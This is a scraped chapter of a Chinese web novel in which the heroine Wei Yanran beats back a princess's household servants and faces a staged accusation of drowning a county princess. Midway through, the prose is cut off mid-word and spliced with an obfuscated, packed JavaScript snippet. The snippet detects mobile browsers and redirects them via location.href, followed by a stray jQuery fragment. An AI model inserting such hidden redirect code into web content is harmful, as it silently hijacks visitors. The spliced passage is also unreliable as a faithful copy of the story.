12. 第十二章 诬陷
作品:《今天拆散太子夫妻了吗?》 嘴上说着是希望卫燕然帮忙,但那气势,就像是要抓她去三司会审一样。
所以就范是不可能就范的。
卫燕然冷下脸,道:“这就是你们大长公主府请人办事的态度?”
那嬷嬷也一脸严肃,仿佛当真是在公事公办一样,道:“事急从权。还望卫娘子不要见怪。”
“若我见怪了呢?”卫燕然挑眉冷笑道,“若我见怪了,你们又当如何?”
那嬷嬷冷声道:“那便只能先对不起卫娘子了。如有得罪,还望海涵。”
那嬷嬷说着,冷淡地看了卫燕然一眼,然后对周围人道:“拿下!”
随着那嬷嬷的一声令下,那些家丁们手持械具,纷纷涌向卫燕然。
要被包围了,卫燕然却丝毫不慌。她眼神微微变冷,抽出折扇,一个转身,就快准狠地敲了最先跑来那人的脖子,那人应声倒下。
卫燕然桎梏着倒下那人的肩膀,准备拿这人给自己当盾牌。但见接连涌来的其他人丝毫没有顾忌同伴的模样,便又拽起倒下那人的脚腕,单手将人抡了起来。
她一个横扫,就把逐渐围成包围圈的众人一一打了出去。
趁这个机会,她用余光扫到了那位嬷嬷的所在。于是卫燕然抡着人转圈的手顺势一松,便将那昏迷不醒的人向那嬷嬷的方向掷了过去。
那位嬷嬷身边的人如鸟兽四散,将她暴露在了人群外。她自己年纪也大了,腿脚不如年轻人灵活,躲避时不慎绊了一跤,跌坐在了地上,面色惊恐。
卫燕然在将人丢出去的瞬间,一个弹跳起步,就冲了过去。
眼见被掷出去那人就要砸到那嬷嬷了,卫燕然堪堪拉住了那人的一只脚,手腕一抖,便卸了冲力。
然后她随手一丢,就将那人弃置到了一旁。
虽然得救了,但那嬷嬷脸色青白,显然吓得不轻。
卫燕然拽着那嬷嬷的衣领,将人提了起来,不知何时又回到她手中的扇子,也威胁意味很重地抵在了那嬷嬷脖颈处。
“看来大长公主还是不长记性。”卫燕然冷声道,“我再说一遍,希望这是最后一遍——我最讨厌有人胁迫我了。”
那嬷嬷脸色青白,又惊又怒又惧,几乎快要背过气去——
她可是从小就在大长公主身边伺候的侍女,跟了大长公主一辈子,从来没有受过除大长公主以外任何人的气,就连大长公主的驸马和孩子都对她尊敬有加。
可现在她居然被一个小辈抵着脖子威胁!
她既不想屈服,让自己几十年来积攒的脸面被卫燕然踩在脚下,又确实害怕卫燕然真的动手伤了她。
于是她梗着脖子,既不敢开口,也不愿意低头。
卫燕然冷眼看着此人,又是一只蠹虫。
她也懒得和这种人对峙浪费时间,见那嬷嬷脸色越发难看,手脚还开始发抖,便松了手,下令道:“带路吧。”
“带、带什么路?”那嬷嬷脚下一软,勉强站定,磕磕巴巴地开口,语气再没有当初的居高临下,反而干哑至极。
卫燕然挑眉,笑道:“不是你说的,帮你们找县主吗?怎么,现在你们的县主又不重要了?”
那嬷嬷嘴角抽动,似乎想扯出一个笑来,但没有成功,表情十分扭曲:“您……您愿意帮忙,自然再好不过。”
“少废话,带路。”
卫燕然上前,轻轻推了一把那嬷嬷的腰。那嬷嬷便跌跌撞撞地往前冲出去好几步,然后被一个极有眼力见儿的丫鬟给扶住了。
踩实了地面,那嬷嬷转头怒视卫燕然,张嘴正想说些什么,被卫燕然一个瞪视,又吓了回去,最后还是老老实实地亲自带起路来。
不出意外,几人走的方向就是那园林的方向。
心中的猜测得到了印证,卫燕然眼神更冷了几分。
还未到园林,便看到了乌泱乌泱的人群围在湖边。大家难得没有遵守所谓的男女大防,三三两两地走在一起,对着整个园林指指点点——
看人数,差不多是今天所有参加春日宴的人了。
卫燕然垂下眼睛,遮住自己眼中的冷意。
刚走到湖畔,卫燕然就被一个哭得涕泪横流的中年妇人抱住了腰。
那中年妇人身量不高,脸颊微丰,呈现出养尊处优的富态。卫燕然从前见她时,她都笑得和蔼可亲。很多女子成婚时都爱请她去做全福人。
但此时这位京城出了名的“全福人”哭得泪如雨下,好不可怜。
她便是青阳县主的母亲,大长公主的儿媳,宫柳玉。
卫燕然本来可以闪开,但她身边就是不知深浅的湖水,于是她忍住闪躲的欲望,任由那妇人抱住了自己。
“卫娘子。”宫柳玉趴伏在卫燕然身上,冲她哭道,“我知道我家青阳得罪了你。你若是心里有气,只管冲我们这些大人来,我们绝无怨言!”
“可你怎么能,怎么能对我家青阳下手呢!”宫柳玉一边哭着,一边伸手要打卫燕然。
“她还是个孩子啊!”
众人一片哗然。
卫燕然自然不可能站在原地一动不动,任由她打骂。她手腕一翻,一个四两拨千斤的手法,就将人推到一旁,跌跪在了地上。
见宫柳玉跪下,卫燕然也不躲,硬是生受了她的“大礼”,冷笑一声,答道:“下手?我都没有见过她,谈什么下手?”
宫柳玉跪坐在地上,凄厉地喊着:“有人看见了!有人看见青阳她跟着卫娘子你一同到了那桥边,而后你们二人起了争执,在桥上大打出手了!”
“我家青阳哪里是你的对手,被卫娘子你打晕后推下水去了……”
宫柳玉说完,又是一阵催人心肝的泣音,哭得都快背过气去了,这才被身后匆忙赶来的丫鬟搀扶了起来。
她哭得站不住脚,整个身体几乎都压在了丫鬟身上,看着好不可怜。
好在大长公主对这幅场景应该早有预料,特意叫来了一个身强体壮的丫鬟。若是选角柔弱些,怕是会被宫柳玉给压趴下。
“哦?”卫燕然冷漠地挑眉,“谁看见了,不会是你家的家丁吧?”
宫柳玉点头又摇头,哀哀切切道:“不止我家的家丁,还有兵部侍郎家的千金也看到了。”
卫燕然冷笑着回应:“我朝兵部侍郎有数人,不知宫夫人您说的是哪位?”
“自然是……”
宫柳玉自然地就要脱口而出,又慌忙地住了嘴,惊恐地摇头道:“不,我不能!你已经害了青阳,这次再害了她怎么办?”
“她是个好孩子,冒着这么大的风险告诉我这些,我不能害了她!我……”
卫燕然兴致怏怏,不耐烦地打断道:“也就是说,你们拿不出人证,对吗?”
“我……不是,这……”宫柳玉语无伦次地说道。
看戏的人群中,突然传来一声叹息,周围的其他人纷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303295|167184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
纷将目光投向那发声之人,那人也就顺势站了出来。
“是我。”那女郎一边说着,一边朝卫燕然这边缓步走来,“我看见了。”
原来还是个熟人——之前宴席上那位,站出来帮青阳为难卫燕然的女郎。
这女郎身穿绿裙,皮肤白皙,淡眉细眼,身量较宫柳玉要高些,身形比寻常女郎瘦削些。
她在今日之前名不经传,卫燕然只记得她似乎是兵部魏侍郎的女儿。至于其他,名字、排行、年龄,卫燕然都一无所知。
这位魏女郎刚一走出来,便被宫柳玉厉声呵斥了。
宫柳玉脸上淌着泪,转头瞪视着魏女郎,恨声道:“你站出来干什么?还不快给我回去!我这里用不着你!我自会给我儿讨回公道!”
这位魏女郎哀婉一笑,道:“我知道您想保护我。可若是今日我不站出来,我往后余生都会活在愧疚中,会时刻遭受良心的谴责,会终其一生都不得安宁。”
“所以为了我往后的日子里能睡个安稳觉……您原谅我的鲁莽吧。”
闻言,宫柳玉悲痛地闭上了眼睛,一边垂泪一边妥协道:“罢罢罢。你这孩子,让我说你什么好。”
也许是知道她们葫芦里在卖什么药,卫燕然竟然没有不耐烦地打断她们,反而颇有兴致地看完了全程。
她微微挑眉,总算露出了一个笑容,道:“既然你说你看到了,那不妨复述一下当时的场景。”
那位魏女郎轻轻咬了咬下唇,点了点头,手里捏着扇子,微微抬头看向卫燕然,缓缓说道:“当时我见青阳县主离席后,有些担心她。便跟在了她身后……”
卫燕然一只手叉腰,另一只手掏了掏耳朵,不耐烦地打断:“说重点!”
魏女郎肩膀微微一耸,像是被卫燕然吓住了一般,垂下了目光,再开口,语速快了不少:“而后我便看见青阳县主跟着你,走到了这个园林。”
“当时卫娘子走在桥上,青阳县主追了上去。不知道你们二人说了什么,然后……然后就见你往青阳县主颈后一敲,她就掉下湖了。”
说着,魏女郎眼中流露出悲痛,她闭上眼轻轻摇了摇头,再睁眼,又目光灼灼地看向了卫燕然。
好像她真是个不畏强权的目击证人。
众人也纷纷屏住呼吸,看向卫燕然,等着她的回应。
卫燕然挑眉问道:“你既然看到我把青阳丢下水,怎么不找人来救她呢?”
魏女郎咬了咬唇,狼狈地低头,道:“我当时……太害怕了。我从来没有见过这种事,所以被吓得愣在了原地,根本不敢出声,好久才回过神来。”
“等我想起来时……太晚了。”
说着,她眼角淌出清泪:“是我不好。若是我能勇敢一点,说不定青阳她就……”
宫柳玉倾身,拍了拍魏女郎的手,安抚道:“好孩子,不怪你。你现在敢站出来已经很勇敢了。”
好一幅“母慈女孝”的画面。
卫燕然拊掌,轻笑出声。
“你这谎话编得不错。”她微微颔首道,“可惜了。我也有人证。”
她挑眉,朝人群中喊道:“王焕之何在?”
“在这儿呢——麻烦让一下。”
人群骚动了一瞬,不一会儿,就见一位身穿白色交领圆袍的少年挤了出来。
一边跑,这人还一边嚷嚷道:“燕然姐我来了!我等你叫我等得花儿都快谢了。”